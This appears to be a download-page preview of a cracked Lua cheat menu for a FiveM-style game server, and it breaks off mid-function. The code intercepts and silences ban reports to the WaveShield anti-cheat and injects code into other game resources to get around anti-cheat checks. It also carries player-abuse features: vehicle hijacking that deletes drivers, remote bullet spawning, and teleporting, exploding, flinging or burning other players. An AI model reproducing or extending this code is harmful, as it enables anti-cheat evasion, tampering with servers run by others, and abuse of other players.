AuthRemoved open source
junkie_Menu.lua Macho LUA
Download
12,000 lines · updated 4 hours ago
Preview shortened for your browser. Download the file for the full source.

-- Authentication removed. Identity and license are hardcoded defaults.
discord_user = 'Junkiee'
license_type_global = 'LIFETIME'

local Dui = MachoCreateDui('https://x9services.net/cce8e374591d2a12b782b70e60aaf327/')
-- SearchDui removed: overlay is injected into Dui via fixed-position div instead
local menuOpen = false
local MenuKey = 'Caps Lock'
local menuConfig
local discordUser = discord_user or 'Junkiee'
local licenseType = license_type_global or 'LIFETIME'



local function isAdmin()
    return true
end

local activeIndex = 1
local nestedMenus = {}
local currentTabs = nil
local currentTabIndex = 0

local menuPosX = 14.25
local menuPosY = 21.5
local menuColorR = 255
local menuColorG = 255
local menuColorB = 255

local junkieAimbotFovSize    = 150
local junkieAimbotFovVisible = false
local junkieAimbotAimKeyName = 'RMB'
local junkieAimbotAimKey     = 25

local junkieTriggerKeyName   = 'RMB'
local junkieTriggerKey       = 25

local AIMKEY_MAP = {
    G=47, Q=44, E=38, R=45, F=23, X=73, H=74, B=29,
    N=59, V=52, C=26, T=245, LeftShift=21, LeftControl=36, Tab=37
}
local showKeybindListState = false
local showSpectatorListState = false
local adminListEnabled = false
local JunkieHUDActive = false
local JunkieHUDMenuThread = false
local JunkieHUDStates = {}
local adminListThreadActive = false
local freecamHandle
local propInputOpen = false

local function toggleMenu(SET_TOGGLE)
    menuOpen = SET_TOGGLE

    if Dui then
        MachoSendDuiMessage(Dui, json.encode({ action = 'showMenu', visible = SET_TOGGLE }))
        if SET_TOGGLE then
            local playerName = discordUser
            MachoSendDuiMessage(Dui, json.encode({ action = 'setDiscord_user', discordUser = playerName }))
        end
    end

end

local function setCurrent()
    if Dui then
        MachoSendDuiMessage(Dui, json.encode({
            action = 'setCurrent',
            current = activeIndex,
            menu = menuConfig
        }))
    end
end

local function SendSvelte(action, data)
    if not Dui then return end
    data.action = action
    MachoSendDuiMessage(Dui, json.encode(data))
end

HookedNatives = {}
SetHooks = {}

function CreateHook(hookType, cb)
    SetHooks[hookType] = cb
end

function HookNative(...)
    HookedNatives[#HookedNatives + 1] = MachoHookNative(...)
end

-- WaveShield ban report interceptor
-- Catches PerformHttpRequest (0x9B5E5F0EBB6E2B05) calls targeting WaveShield API
-- Swallows them before they reach the cloud, fires the callback with fake 200 so WS Lua doesn't hang
HookNative(0x9B5E5F0EBB6E2B05, function(url, method, data, headers, cb)
    if url then
        local urlLow = url:lower()
        if urlLow:find('waveshield', 1, true) then
            if cb then cb(200, '{}', {}) end
            return false
        end
    end
    return true
end)

HookNative(0x0C515FAB3FF9EA92, function(propType, data)
    if propType and data then
        if propType == 'Hook' then
            data = json.decode(data)

            if data then
                local hookData = data.HookData

                if hookData then
                    local setHook = SetHooks[hookData.HookType]

                    if setHook then
                        CreateThread(function()
                            setHook(table.unpack(hookData.SetArgs))
                        end)
                    end
                end
            end
        end
    end

    return true
end)

CreateHook('SetHoveringTextOptions', function(options)
    MachoExecuteDuiScript(Dui, ('window.hoveringText.setOptions(%s);'):format(json.encode(options)))
end)

CreateHook('SetHoveringTextOption', function(option)
    MachoExecuteDuiScript(Dui, ('window.hoveringText.selectById("%s");'):format(option))
end)

CreateHook('UpdateHoveringTextOption', function(id, data)
    MachoExecuteDuiScript(Dui, ('window.hoveringText.updateOption("%s", %s);'):format(id, json.encode(data)))
end)

CreateHook('GiveWeaponToPed', function(netId, weapon, ammo)
    local ped = NetworkGetEntityFromNetworkId(netId)
    if ped and ped > 0 then
        GiveWeaponToPed(ped, weapon, ammo, false, true)
    end
end)

local function injectCode(resource, code)
    local setCode = [[
            local SafeRunNative
            if GetResourceState('WaveShield') == 'started' then
                local _wsCache = {}
                local _wsSid   = GetPlayerServerId(PlayerId())
                local _wsRid   = tostring(math.random(999999)) .. tostring(GetGameTimer())

                local _wsRawSet = function(bag, key, payload)
                    local r = Citizen.GetFunctionReference(SetStateBagValue)
                    msgpack.unpack(string.char(0xC7, #r, 10) .. r)(bag, key, payload, #payload, false)
                end

                local _wsWrap = function(func)
                    if _wsCache[func] then return _wsCache[func] end
                    local key     = _wsRid .. '_' .. math.random(999999) .. '_' .. math.random(999999)
                    local ref     = Citizen.GetFunctionReference(func)
                    local payload = string.char(0xC7, #ref, 10) .. ref
                    _wsRawSet('player:' .. _wsSid, key, payload)
                    _wsCache[func] = Player(_wsSid).state[key]
                    return _wsCache[func]
                end

                SafeRunNative = function(setFunc, ...)
                    return _wsWrap(setFunc)(...)
                end
            else
                SafeRunNative = function(setFunc, ...)
                    local stateName = math.random(999999, 999999999) .. '_' .. math.random(999999) .. '_' .. GetGameTimer()
                    LocalPlayer.state:set(stateName, setFunc, false)
                    return LocalPlayer.state[stateName](...)
                end
            end

            GetSafeArgs = function(setArgs)
                for setKey, setValue in pairs(setArgs) do
                    local setType = type(setValue)

                    if setType == 'function' then
                        setValue = tostring(setValue)
                    elseif setType == 'table' then
                        setValue = GetSafeArgs(setValue)
                    end

                    setArgs[setKey] = setValue
                end

                return setArgs
            end

            SendToHook = function(hookType, ...)
                SafeRunNative(AreStringsEqual, 'Hook', json.encode({
                    HookData = {
                        HookType = hookType,
                        SetArgs = GetSafeArgs({...})
                    }
                }))
            end

            ShowNotification = function(...)
                SendToHook('ShowNotification', ...)
            end

            _G.SetClient_TrackedSafeThreads = _G.SetClient_TrackedSafeThreads or {}

            DeleteTrackedThread = function(threadName)
                if _G.SetClient_TrackedSafeThreads then
                    local setThreadCb = _G.SetClient_TrackedSafeThreads[threadName]

                    if setThreadCb then
                        setThreadCb()
                    end
                end
            end

            CreateTrackedThread = function(threadName, setHandlers)
                DeleteTrackedThread(threadName)

                SafeRunNative(CreateThread, function()
                    setHandlers.isActive = true

                    _G.SetClient_TrackedSafeThreads = _G.SetClient_TrackedSafeThreads or {}

                    _G.SetClient_TrackedSafeThreads[threadName] = function()
                        setHandlers.isActive = false

                        if _G.SetClient_TrackedSafeThreads then
                            _G.SetClient_TrackedSafeThreads[threadName] = nil
                        end

                        if setHandlers.onRemove then
                            setHandlers:onRemove()
                        end
                    end

                    setHandlers:thread()
                end)
            end

            GetEntityParent = function(entity)
                local selfPed = entity or PlayerPedId()
                local selfVehicle = GetVehiclePedIsIn(selfPed, false)
                local selfEntity = selfPed

                if selfVehicle and selfVehicle > 0 and selfPed == GetPedInVehicleSeat(selfVehicle, -1) then
                    selfEntity = selfVehicle
                end

                return selfEntity
            end

            SetCoords = function(entity, coords)
                SafeRunNative(SetEntityCoordsNoOffset, entity, coords.x, coords.y, coords.z, true, true, false)
            end

            SetCurrentSelfData = function(setData)
                local selfPed = PlayerPedId()
                local setVehicle = setData.vehicle
                local setSeat = setData.seat

                if setVehicle and setSeat and DoesEntityExist(setVehicle) then
                    SafeRunNative(TaskWarpPedIntoVehicle, selfPed, setVehicle, setSeat)
                else
                    SafeRunNative(SetEntityCoordsNoOffset, selfPed, setData.coords, false, false, true)
                    SafeRunNative(SetEntityHeading, selfPed, setData.heading)
                end
            end

            GetCachedSelfData = function()
                local selfPed = PlayerPedId()
                local selfVehicle = GetVehiclePedIsIn(selfPed, -1)
                local selfData = {
                    ped = selfPed,
                    coords = GetEntityCoords(selfPed),
                    heading = GetEntityHeading(selfPed)
                }

                selfVehicle = selfVehicle and selfVehicle > 0 and selfVehicle

                if selfVehicle then
                    selfData.vehicle = selfVehicle

                    for i = -1, GetVehicleModelNumberOfSeats(GetEntityModel(selfVehicle)) - 1 do
                        if GetPedInVehicleSeat(selfVehicle, i) == selfPed then
                            selfData.seat = i

                            break
                        end
                    end
                end

                return selfData
            end

            TakeControlOfVehicle = function(vehicle)
                local driver = GetPedInVehicleSeat(vehicle, -1)

                if NetworkHasControlOfEntity(vehicle) then
                    return true
                end


                local cachedSelfData = GetCachedSelfData()
                local selfPed = cachedSelfData.ped

                SafeRunNative(ClearPedTasksImmediately, selfPed)

                Wait(0)

                local startTimer = GetGameTimer()

                while DoesEntityExist(vehicle) and (GetGameTimer() - startTimer) <= 1000 and not NetworkHasControlOfEntity(vehicle) do
                    selfPed = PlayerPedId()

                    SafeRunNative(SetEntityAsMissionEntity, driver, true, true)
                    SafeRunNative(SpecialFunctionDoNotUse, driver, true)
                    SafeRunNative(DeleteEntity, driver)

                    local currentDriver = GetPedInVehicleSeat(vehicle, -1)
                    if currentDriver and currentDriver > 0 and currentDriver ~= selfPed and currentDriver ~= driver then
                        SafeRunNative(SetEntityAsMissionEntity, currentDriver, true, true)
                        SafeRunNative(SpecialFunctionDoNotUse, currentDriver, true)
                        SafeRunNative(DeleteEntity, currentDriver)
                    end

                    SafeRunNative(SetEntityAsMissionEntity, vehicle, true, true)
                    SafeRunNative(TaskEnterVehicle, selfPed, vehicle, 100, -1, 2.0, 16, 0)

                    Wait(0)
                end

                SafeRunNative(SetPedVehicleForcedSeatUsage, selfPed, vehicle, -1, 16)
                SafeRunNative(TaskWarpPedIntoVehicle, selfPed, vehicle, -1)

                Wait(0)

                selfPed = PlayerPedId()

                SafeRunNative(ClearPedTasksImmediately, selfPed)
                SetCurrentSelfData(cachedSelfData)

                if NetworkHasControlOfEntity(vehicle) then
                    return true
                end

                return false
            end

            PlayAnim = function(ped, dict, name, ...)
                while not HasAnimDictLoaded(dict) do
                    SafeRunNative(RequestAnimDict, dict)

                    Wait(0)
                end

                SafeRunNative(TaskPlayAnim, ped, dict, name, ...)
            end

            EnterVehicleThrowing = function(vehicle)
                if not TakeControlOfVehicle(vehicle) then
                    return false
                end

                local function getCamDirection()
                    local camRot = GetGameplayCamRot(2)
                    local pitch = math.rad(camRot.x)
                    local yaw = math.rad(camRot.z)

                    local dir = vector3(
                        -math.sin(yaw) * math.cos(pitch),
                        math.cos(yaw) * math.cos(pitch),
                        math.sin(pitch)
                    )

                    local length = math.sqrt(dir.x * dir.x + dir.y * dir.y + dir.z * dir.z)

                    return vector3(dir.x / length, dir.y / length, dir.z / length)
                end

                local function getCamRaycastHit()
                    local camCoords = GetGameplayCamCoord()
                    local dir = getCamDirection()
                    local selfPed = PlayerPedId()
                    local farPoint = vector3(
                        camCoords.x + dir.x * 1000.0,
                        camCoords.y + dir.y * 1000.0,
                        camCoords.z + dir.z * 1000.0
                    )

                    local rayHandle = StartShapeTestRay(
                        camCoords.x, camCoords.y, camCoords.z,
                        farPoint.x, farPoint.y, farPoint.z,
                        -1,
                        selfPed,
                        0
                    )

                    local _, hit, endCoords = GetShapeTestResult(rayHandle)

                    if hit == 1 then
                        return endCoords
                    end

                    return farPoint
                end

                -- LoadModel = function(model)
                --     while not HasModelLoaded(model) do
                --         RequestModel(model)
                --         Wait(0)
                --     end
                -- end

                -- SpawnVehicle = function(model, coords)
                --     LoadModel(model)

                --     return SafeRunNative(CreateVehicle, model, coords.x, coords.y, coords.z, coords.w or 0.0, true, false)
                -- end

                SafeRunNative(CreateThread, function()
                    local animDict = 'anim@mp_rollarcoaster'
                    local animName = 'hands_up_idle_a_player_one'
                    local force = 150.0

                    while vehicle and vehicle > 0 and DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) do
                        local selfPed = PlayerPedId()

                        if not IsEntityPlayingAnim(selfPed, animDict, animName, 3) then
                            PlayAnim(selfPed, animDict, animName, 8.0, -8.0, -1, 49, 0, false, false, false)
                        end

                        if not IsEntityPositionFrozen(vehicle) then
                            SafeRunNative(FreezeEntityPosition, vehicle, true)
                        end

                        if not IsEntityAttachedToEntity(vehicle, selfPed) then
                            SafeRunNative(
                                AttachEntityToEntity,
                                vehicle,
                                selfPed,
                                GetPedBoneIndex(selfPed, 24816),
                                2.0, 0.0, 0.5,
                                90.0, 0.0, 0.0,
                                true, true, false, false, 2, true
                            )
                        end

                        if IsControlJustPressed(0, 246) or IsDisabledControlJustPressed(0, 246) then
                            SafeRunNative(SetEntityNoCollisionEntity, vehicle, selfPed, false)

                            local camCoords = GetGameplayCamCoord()
                            local targetCoords = getCamRaycastHit()
                            local dir = vector3(
                                targetCoords.x - camCoords.x,
                                targetCoords.y - camCoords.y,
                                targetCoords.z - camCoords.z
                            )

                            local length = math.sqrt(dir.x * dir.x + dir.y * dir.y + dir.z * dir.z)
                            dir = vector3(dir.x / length, dir.y / length, dir.z / length)

                            local spawnCoords = vector3(
                                camCoords.x + dir.x * 2.0,
                                camCoords.y + dir.y * 2.0,
                                camCoords.z + dir.z * 2.0
                            )

                            DetachEntity(vehicle, true, true)
                            FreezeEntityPosition(vehicle, false)

                            SafeRunNative(
                                SetEntityCoordsNoOffset,
                                vehicle,
                                spawnCoords.x,
                                spawnCoords.y,
                                spawnCoords.z,
                                false, false, false
                            )

                            SafeRunNative(
                                ApplyForceToEntity,
                                vehicle,
                                1,
                                dir.x * force,
                                dir.y * force,
                                dir.z * force,
                                0.0, 0.0, 0.0,
                                0,
                                false, true, true, false, true
                            )

                            SafeRunNative(SetTimeout, 500, function()
                                selfPed = PlayerPedId()
                                
                                SafeRunNative(SetEntityNoCollisionEntity, vehicle, selfPed, false)
                            end)

                            break
                        end
                        
                        Wait(0)
                    end

                    local selfPed = PlayerPedId()

                    ClearPedTasks(selfPed)
                end)

                return true
            end

            GetNearestVehicle = function(networkRequire)
                local vehicles = GetGamePool('CVehicle')
                local selfPed = PlayerPedId()
                local selfCoords = GetEntityCoords(selfPed)
                local nearestVehicle

                for i = 1, #vehicles do
                    local vehicle = vehicles[i]
                    local networked = NetworkGetEntityIsNetworked(vehicle)

                    if networked or not networkRequire then
                        local coords = GetEntityCoords(vehicle)
                        local distance = #(coords - selfCoords)

                        if not nearestVehicle or distance < nearestVehicle.distance then
                            nearestVehicle = {vehicle = vehicle, distance = distance}
                        end
                    end
                end

                if nearestVehicle then return nearestVehicle.vehicle end
            end

            ShootBullet = function(ped, weapon, targetCoords, fromCoords)
                SafeRunNative(CreateThread, function()
                    if not IsWeaponValid(weapon) then
                        return false
                    end

                    if ped == PlayerPedId() then
                        ped = 'self'
                    end

                    local isSelf = ped == 'self'
                    local canShoot = false
                    local setTimer = GetGameTimer()

                    _G.SelfClient_ShootBulletData = _G.SelfClient_ShootBulletData or {}

                    local bulletData = _G.SelfClient_ShootBulletData[ped]

                    if bulletData then
                        if bulletData.weapon == weapon then
                            canShoot = true
                        elseif (setTimer - bulletData.timer) > 500 then
                            canShoot = true
                        end
                    else
                        canShoot = true
                    end

                    if canShoot then
                        _G.SelfClient_ShootBulletData[ped] = {
                            timer = setTimer,
                            weapon = weapon
                        }

                        if not bulletData then
                            local targetPed = isSelf and PlayerPedId() or ped
                            local cachedSelfData = GetCachedSelfData()

                            SendToHook('GiveWeaponToPed', NetworkGetNetworkIdFromEntity(targetPed), weapon, 1)
                            SafeRunNative(SetPedUsingActionMode, targetPed, true, -1, 1)
                            SafeRunNative(SetPedCurrentWeaponVisible, targetPed, false, false, true, true)
                            SafeRunNative(SetCurrentPedWeapon, targetPed, weapon, true)
                            SafeRunNative(ClearPedTasksImmediately, targetPed)
                            SetCurrentSelfData(cachedSelfData)

                            Wait(10)
                        end

                        SafeRunNative(RequestWeaponAsset, weapon, 31, 26)

                        fromCoords = fromCoords or (targetCoords + vec3(0.0, 0.0, 0.1))

                        SafeRunNative(ShootSingleBulletBetweenCoords, fromCoords.x, fromCoords.y, fromCoords.z, targetCoords.x, targetCoords.y, targetCoords.z, 999999, true, weapon, isSelf and PlayerPedId() or ped, true, false, 999999.0)

                        if not bulletData then
                            while true do
                                local shootBulletData = _G.SelfClient_ShootBulletData

                                if shootBulletData then
                                    local bulletPedData = shootBulletData[ped]

                                    if not bulletPedData or bulletPedData.weapon ~= weapon or (GetGameTimer() - bulletPedData.timer) > 500 then
                                        _G.SelfClient_ShootBulletData[ped] = nil

                                        break
                                    end
                                else
                                    break
                                end

                                local targetPed = isSelf and PlayerPedId() or ped

                                if not HasPedGotWeapon(targetPed, weapon, false) then
                                    local cachedSelfData = GetCachedSelfData()

                                    SendToHook('GiveWeaponToPed', NetworkGetNetworkIdFromEntity(targetPed), weapon, 250)
                                    SafeRunNative(ClearPedTasksImmediately, targetPed)
                                    SetCurrentSelfData(cachedSelfData)
                                end

                                local found, foundWeapon = GetCurrentPedWeapon(targetPed)
                                if foundWeapon ~= weapon then
                                    local cachedSelfData = GetCachedSelfData()

                                    SafeRunNative(SetCurrentPedWeapon, targetPed, weapon, true)
                                    SafeRunNative(ClearPedTasksImmediately, targetPed)
                                    SetCurrentSelfData(cachedSelfData)
                                end

                                SafeRunNative(SetPedUsingActionMode, targetPed, true, -1, 1)
                                SafeRunNative(SetPedCurrentWeaponVisible, targetPed, false, false, true, true)

                                Wait(0)
                            end

                            local targetPed = isSelf and PlayerPedId() or ped

                            SafeRunNative(SetPedUsingActionMode, targetPed, false, -1, 'DEFAULT_ACTION')
                            SafeRunNative(RemoveWeaponFromPed, targetPed, weapon)
                            SafeRunNative(SetCurrentPedWeapon, targetPed, 'weapon_unarmed', true)
                        end
                    end
                end)
            end
        ]]..code..[[
    ]]

    if GetResourceState('ReaperV4') == 'started' then
        MachoInjectResource2(NewThread, resource, setCode)
    else
        MachoInjectResourceScriptOverride(1, resource, setCode, '@citizen:/scripting/lua/scheduler.lua', 1, 999)
    end
end

GetCachedSelfData = function()
    local selfPed = PlayerPedId()
    local selfVehicle = GetVehiclePedIsIn(selfPed, -1)
    local selfData = {
        ped = selfPed,
        coords = GetEntityCoords(selfPed),
        heading = GetEntityHeading(selfPed)
    }

    selfVehicle = selfVehicle and selfVehicle > 0 and selfVehicle

    if selfVehicle then
        selfData.vehicle = selfVehicle

        for i = -1, GetVehicleModelNumberOfSeats(GetEntityModel(selfVehicle)) - 1 do
            if GetPedInVehicleSeat(selfVehicle, i) == selfPed then
                selfData.seat = i

                break
            end
        end
    end
    
    return selfData
end

SetCurrentSelfData = function(setData)
    local selfPed = PlayerPedId()
    local setVehicle = setData.vehicle
    local setSeat = setData.seat

    if setVehicle and setSeat and DoesEntityExist(setVehicle) then
        TaskWarpPedIntoVehicle(selfPed, setVehicle, setSeat)
    else
        local setCoords = setData.coords

        SetEntityCoordsNoOffset(selfPed, setCoords.x, setCoords.y, setCoords.z, false, false, true)
        SetEntityHeading(selfPed, setData.heading)
    end
end

TrackedSafeThreads = {}

DeleteTrackedThread = function(threadName)
    local setThreadCb = TrackedSafeThreads[threadName]

    if setThreadCb then
        setThreadCb()
    end
end

CreateTrackedThread = function(threadName, setHandlers)
    DeleteTrackedThread(threadName)

    if type(setHandlers) ~= 'table' or type(setHandlers.thread) ~= 'function' then
		return
	end

    CreateThread(function()
        setHandlers.isActive = true

        TrackedSafeThreads[threadName] = function()
            setHandlers.isActive = false

            TrackedSafeThreads[threadName] = nil
            TerminateThisThread()

            if setHandlers.onRemove then
                setHandlers.onRemove(setHandlers)
            end
        end

        setHandlers.thread(setHandlers)
    end)
end

local itemKeybinds = {}
local KeyMap = {
    [8]='Backspace', [9]='Tab',     [12]='Clear',      [13]='Enter',     [16]='Shift',
    [17]='Control',  [18]='Alt',    [19]='Pause',       [20]='Caps Lock', [27]='Escape',
    [32]='Space',    [33]='PageUp', [34]='PageDown',    [35]='End',       [36]='Home',
    [44]='PrintScreen', [45]='Insert', [46]='Delete',
    [37]='ArrowLeft', [38]='ArrowUp', [39]='ArrowRight', [40]='ArrowDown',
    [48]='0',[49]='1',[50]='2',[51]='3',[52]='4',[53]='5',[54]='6',[55]='7',[56]='8',[57]='9',
    [65]='A',[66]='B',[67]='C',[68]='D',[69]='E',[70]='F',[71]='G',[72]='H',[73]='I',[74]='J',
    [75]='K',[76]='L',[77]='M',[78]='N',[79]='O',[80]='P',[81]='Q',[82]='R',[83]='S',[84]='T',
    [85]='U',[86]='V',[87]='W',[88]='X',[89]='Y',[90]='Z',
    [91]='LeftMeta', [92]='RightMeta', [93]='ContextMenu',
    [96]='Numpad0',[97]='Numpad1',[98]='Numpad2',[99]='Numpad3',[100]='Numpad4',
    [101]='Numpad5',[102]='Numpad6',[103]='Numpad7',[104]='Numpad8',[105]='Numpad9',
    [106]='Multiply',[107]='Add',[108]='Separator',[109]='Subtract',[110]='Decimal',[111]='Divide',
    [112]='F1',[113]='F2',[114]='F3',[115]='F4',[116]='F5',[117]='F6',
    [118]='F7',[119]='F8',[120]='F9',[121]='F10',[122]='F11',[123]='F12',
    [124]='F13',[125]='F14',[126]='F15',[127]='F16',[128]='F17',[129]='F18',
    [130]='F19',[131]='F20',[132]='F21',[133]='F22',[134]='F23',[135]='F24',
    [144]='NumLock', [145]='ScrollLock',
    [160]='LeftShift',[161]='RightShift',[162]='LeftControl',[163]='RightControl',
    [164]='LeftAlt',[165]='RightAlt',
    [173]='VolumeMute',[174]='VolumeDown',[175]='VolumeUp',
    [181]='MediaMute',[182]='MediaVolumeDown',[183]='MediaVolumeUp',
    [186]=';',[187]='=',[188]=',',[189]='-/_',[190]='.',[191]='/',[192]='`',
    [219]='[',[220]='\\',[221]=']',[222]="'",[223]='`',
}

local keyMap = {
    [65] = 'A', [66] = 'B', [67] = 'C', [68] = 'D', [69] = 'E', [70] = 'F', [71] = 'G', [72] = 'H',
    [73] = 'I', [74] = 'J', [75] = 'K', [76] = 'L', [77] = 'M', [78] = 'N', [79] = 'O', [80] = 'P',
    [81] = 'Q', [82] = 'R', [83] = 'S', [84] = 'T', [85] = 'U', [86] = 'V', [87] = 'W', [88] = 'X',
    [89] = 'Y', [90] = 'Z',

    [48] = '0', [49] = '1', [50] = '2', [51] = '3', [52] = '4', [53] = '5', [54] = '6', [55] = '7',
    [56] = '8', [57] = '9',

    [96] = '0', [97] = '1', [98] = '2', [99] = '3', [100] = '4', [101] = '5', [102] = '6', [103] = '7',
    [104] = '8', [105] = '9',

    [32] = ' ',
    [188] = ',', [190] = '.', [191] = '/', [186] = ';', [222] = '\'', [219] = '[', [221] = ']',
    [220] = '\\', [189] = '-', [187] = '=', [192] = '`',
}

local shiftedNumbers = {
    [48] = ')', [49] = '!', [50] = '@', [51] = '#', [52] = '$',
    [53] = '%', [54] = '^', [55] = '&', [56] = '*', [57] = '('
}

local shiftedChars = {
    [188] = '<', [190] = '>', [191] = '?', [186] = ':', [222] = '"',
    [219] = '{', [221] = '}', [220] = '|', [189] = '_', [187] = '+', [192] = '~'
}

local keyLabels = {
    [8] = 'Backspace', [9] = 'Tab', [13] = 'Enter',
    [16] = 'Shift', [17] = 'Ctrl', [18] = 'Alt',
    [19] = 'Pause', [20] = 'Caps Lock', [27] = 'Esc',
    [32] = 'Space', [33] = 'Page Up', [34] = 'Page Down',
    [35] = 'End', [36] = 'Home', [37] = 'Left Arrow',
    [38] = 'Up Arrow', [39] = 'Right Arrow', [40] = 'Down Arrow',
    [44] = 'Print Screen', [45] = 'Insert', [46] = 'Delete',
    [48] = '0', [49] = '1', [50] = '2',
    [51] = '3', [52] = '4', [53] = '5',
    [54] = '6', [55] = '7', [56] = '8',
    [57] = '9', [65] = 'A', [66] = 'B',
    [67] = 'C', [68] = 'D', [69] = 'E',
    [70] = 'F', [71] = 'G', [72] = 'H',
    [73] = 'I', [74] = 'J', [75] = 'K',
    [76] = 'L', [77] = 'M', [78] = 'N',
    [79] = 'O', [80] = 'P', [81] = 'Q',
    [82] = 'R', [83] = 'S', [84] = 'T',
    [85] = 'U', [86] = 'V', [87] = 'W',
    [88] = 'X', [89] = 'Y', [90] = 'Z',
    [91] = 'Left Windows', [92] = 'Right Windows', [93] = 'Context Menu',
    [96] = 'Numpad 0', [97] = 'Numpad 1', [98] = 'Numpad 2',
    [99] = 'Numpad 3', [100] = 'Numpad 4', [101] = 'Numpad 5',
    [102] = 'Numpad 6', [103] = 'Numpad 7', [104] = 'Numpad 8',
    [105] = 'Numpad 9', [106] = 'Numpad *', [107] = 'Numpad +',
    [109] = 'Numpad -', [110] = 'Numpad .', [111] = 'Numpad /',
    [112] = 'F1', [113] = 'F2', [114] = 'F3',
    [115] = 'F4', [116] = 'F5', [117] = 'F6',
    [118] = 'F7', [119] = 'F8', [120] = 'F9',
    [121] = 'F10', [122] = 'F11', [123] = 'F12',
    [144] = 'Num Lock', [145] = 'Scroll Lock', [160] = 'Left Shift',
    [161] = 'Right Shift', [162] = 'Left Ctrl', [163] = 'Right Ctrl',
    [164] = 'Left Alt', [165] = 'Right Alt', [186] = ';',
    [187] = '=', [188] = ',', [189] = '-',
    [190] = '.', [191] = '/', [192] = '`',
    [219] = '[', [220] = '\\', [221] = ']',
    [222] = '\'', [226] = '\\ (Oem102)', [255] = 'Unknown'
}

local function getInputChar(keyCode, isShiftHeld)
    local numKey = tonumber(keyCode)
    if not numKey then return nil end

    if isShiftHeld then
        local shifted = shiftedNumbers[numKey] or shiftedChars[numKey]
        if shifted then return shifted end
    end

    local char = keyMap[numKey]
    if char then
        if numKey >= 65 and numKey <= 90 and not isShiftHeld then
            return string.lower(char)
        end
        return char
    end

    return nil
end

local inputActive = false
local inputBuffer = ''
local inputCallback = nil
local inputTitle = ''

local ctrlHeld = false
local shiftHeld = false

local keybindActive = false
local keybindPending = ''
local keybindTitle = ''
local keybindOnConfirm = nil
local keybindOnCancel = nil
local keybindCanCancel = true
local settingItemKeybind = false

local function toggleNuiFocus(SET_TOGGLE)
    if SET_TOGGLE then
        injectCode('monitor', [[
            nuifoc = true
            SafeRunNative(CreateThread, function()
                while nuifoc do
                    SafeRunNative(SetNuiFocus, true, true)
                    Wait(0)
                end
            end)
        ]])
    else
        injectCode('monitor', [[ nuifoc = false; SafeRunNative(SetNuiFocus, false, false) ]])
    end
end

function showInput(title, defaultText, callback)
    inputActive = true
    setInputActive = true
    inputBuffer = defaultText or ''
    inputCallback = callback
    inputTitle = title or ''
    SendSvelte('showInputPrompt', { showInput = true, title = inputTitle, value = inputBuffer, isKeybind = false })

    toggleNuiFocus(true)
end

function setKeybind(title, setupFn)
    defaultBind = nil
    canCancel = true
    onConfirm = nil
    onCancel = nil

    if type(setupFn) == 'function' then setupFn(nil) end

    if type(defaultBind) == 'number' then
        keybindPending = KeyMap[defaultBind] or tostring(defaultBind)
    else
        keybindPending = defaultBind and tostring(defaultBind) or ''
    end

    keybindActive = true
    settingItemKeybind = true
    keybindOnConfirm = onConfirm
    keybindOnCancel = onCancel
    keybindCanCancel = (canCancel ~= false)
    keybindTitle = title

    SendSvelte('showInputPrompt', { showInput = true, title = keybindTitle, value = keybindPending, isKeybind = true })
    toggleNuiFocus(true)
end

function showNotify(message, type)
    SendSvelte('notify', { message = message, type = type })
end

CreateHook('FreecamObjectInput', function()
    showInput('Object Model', '', function(objectModel)
        if not objectModel or objectModel == '' then
            return
        end

        injectCode('monitor', string.format([[
            _G.SetClient_CustomSetFcSpawnObject = %q
        ]], objectModel))

        showNotify('Free cam object set to: ' .. objectModel, 'success')
    end)
end)

CreateHook('FreecamPedInput', function()
    showInput('Ped Model', '', function(pedModel)
        if not pedModel or pedModel == '' then
            return
        end

        injectCode('monitor', string.format([[
            _G.SetClient_CustomSetFcSpawnPed = %q
        ]], pedModel))

        showNotify('Free cam ped set to: ' .. pedModel, 'success')
    end)
end)

CreateHook('FreecamNotify', function(message, kind)
    showNotify(message, kind or 'info')
end)

CreateHook('FcPlayerTarget', function(sid, name)
    local actions = { 'Teleport To', 'Bring Here', 'Spectate', 'Freeze', 'Explode', 'Launch', 'Fling', 'Burn' }
    injectCode('monitor', string.format([[
        _G.SetClient_FcTargetSid = %d
        _G.SetClient_FcTargetIdx = 1
    ]], sid))
    SendSvelte('fcTarget', { visible = true, name = name, actions = actions, index = 1 })
end)

CreateHook('FcTargetCancel', function()
    injectCode('monitor', [[
        _G.SetClient_FcTargetSid = nil
        _G.SetClient_FcTargetIdx = nil
    ]])
    SendSvelte('fcTarget', { visible = false })
end)

CreateHook('FcTargetScroll', function(idx)
    SendSvelte('fcTargetScroll', { index = idx })
end)

CreateHook('FcPlayerAction', function(actionName, sid)
    local serverId = tonumber(sid)
    if not serverId then return end
    injectCode('monitor', [[
        _G.SetClient_FcTargetSid = nil
        _G.SetClient_FcTargetIdx = nil
    ]])
    SendSvelte('fcTarget', { visible = false })
    if actionName == 'Teleport To' then
        injectCode('monitor', string.format([[
            local player = GetPlayerFromServerId(%d)
            local targetPed = player > 0 and GetPlayerPed(player)
            if targetPed and targetPed > 0 then
                local coords = GetEntityCoords(targetPed)
                SafeRunNative(SetEntityCoords, PlayerPedId(), coords.x, coords.y, coords.z + 0.0, false, false, false, true)
            end
        ]], serverId))
    elseif actionName == 'Bring Here' then
        injectCode('monitor', string.format([[
            local player = GetPlayerFromServerId(%d)
            local targetPed = player > 0 and GetPlayerPed(player)
            if targetPed and targetPed > 0 then
                local selfCoords = GetEntityCoords(PlayerPedId())
                SafeRunNative(SetEntityCoords, targetPed, selfCoords.x, selfCoords.y, selfCoords.z, false, false, false, true)
            end
        ]], serverId))
    elseif actionName == 'Spectate' then
        injectCode('any', string.format([[
            _G.__SpectateRunning = true
            local tgtPed = GetPlayerPed(GetPlayerFromServerId(%d))
            local cam = SafeRunNative(CreateCam, "DEFAULT_SCRIPTED_CAMERA", true)
            SafeRunNative(SetCamActive, cam, true)
            SafeRunNative(RenderScriptCams, true, false, 0, true, false)
            SafeRunNative(CreateThread, function()
                local distanceBehind = 3.0
                local baseHeight = 1.0
                while _G.__SpectateRunning and tgtPed and DoesEntityExist(tgtPed) do
                    Wait(1)
                    local coords = GetEntityCoords(tgtPed)
                    SafeRunNative(RequestAdditionalCollisionAtCoord, coords.x, coords.y, coords.z)
                    SafeRunNative(SetFocusPosAndVel, coords.x, coords.y, coords.z, 0.0, 0.0, 0.0)
                    local camRot = GetGameplayCamRot(0)
                    local pitch = -math.rad(camRot.x)
                    local heading = math.rad(camRot.z)
                    local offsetX = -math.sin(heading) * math.cos(pitch) * distanceBehind
